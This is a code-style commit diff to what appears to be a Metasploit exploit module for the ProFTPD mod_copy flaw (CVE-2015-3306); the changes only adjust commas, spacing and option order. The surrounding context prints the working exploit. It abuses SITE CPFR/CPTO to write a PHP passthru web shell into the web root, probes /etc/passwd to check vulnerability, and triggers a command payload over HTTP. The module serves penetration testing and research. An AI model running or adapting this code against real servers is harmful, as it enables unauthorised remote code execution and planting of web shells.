Fix up commas

Author: wvu

modules/exploits/unix/ftp/proftpd_modcopy_exec.rb

@@ -32,7 +32,7 @@ def initialize(info = {})
       'References'     =>
         [
           [ 'CVE', '2015-3306' ],
-          [ 'EDB', '36742' ],
+          [ 'EDB', '36742' ]
         ],
       'Privileged'     => false,
       'Platform'       => [ 'unix' ],
@@ -43,12 +43,12 @@ def initialize(info = {})
           'Compat'      =>
             {
               'PayloadType' => 'cmd',
-              'RequiredCmd' => 'generic gawk bash python perl',
+              'RequiredCmd' => 'generic gawk bash python perl'
             }
         },
       'Targets'        =>
         [
-          [ 'ProFTPD 1.3.5', { } ],
+          [ 'ProFTPD 1.3.5', { } ]
         ],
       'DisclosureDate' => 'Apr 22 2015',
       'DefaultTarget' => 0))
@@ -57,9 +57,9 @@ def initialize(info = {})
       [
         OptPort.new('RPORT', [true, 'HTTP port', 80]),
         OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
+        OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
         OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
-        OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']),
-        OptString.new('TARGETURI', [true, 'Base path to the website', '/'])
+        OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
       ], self.class)
   end
 
@@ -73,13 +73,13 @@ def check
       print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
     end
 
-    res = sock.get_once(-1,10)
+    res = sock.get_once(-1, 10)
     unless res && res.include?('220')
       fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
     end
 
     sock.puts("SITE CPFR /etc/passwd\r\n")
-    res = sock.get_once(-1,10)
+    res = sock.get_once(-1, 10)
     if res && res.include?('350')
       Exploit::CheckCode::Vulnerable
     else
@@ -100,33 +100,33 @@ def exploit
       print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
     end
 
-    res = sock.get_once(-1,10)
+    res = sock.get_once(-1, 10)
     unless res && res.include?('220')
       fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
     end
 
     print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")
 
     sock.puts("SITE CPFR /proc/self/cmdline\r\n")
-    res = sock.get_once(-1,10)
+    res = sock.get_once(-1, 10)
     unless res && res.include?('350')
       fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
     end
 
     sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
-    res = sock.get_once(-1,10)
+    res = sock.get_once(-1, 10)
     unless res && res.include?('250')
       fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
     end
 
     sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
-    res = sock.get_once(-1,10)
+    res = sock.get_once(-1, 10)
     unless res && res.include?('350')
       fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
     end
 
     sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
-    res = sock.get_once(-1,10)
+    res = sock.get_once(-1, 10)
     unless res && res.include?('250')
       fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
     end
@@ -137,7 +137,7 @@ def exploit
     res = send_request_cgi!(
       'uri' => normalize_uri(target_uri.path, payload_name),
       'method' => 'GET',
-      'vars_get' => { get_arg => "nohup #{payload.encoded} &" },
+      'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
     )
 
     unless res && res.code == 200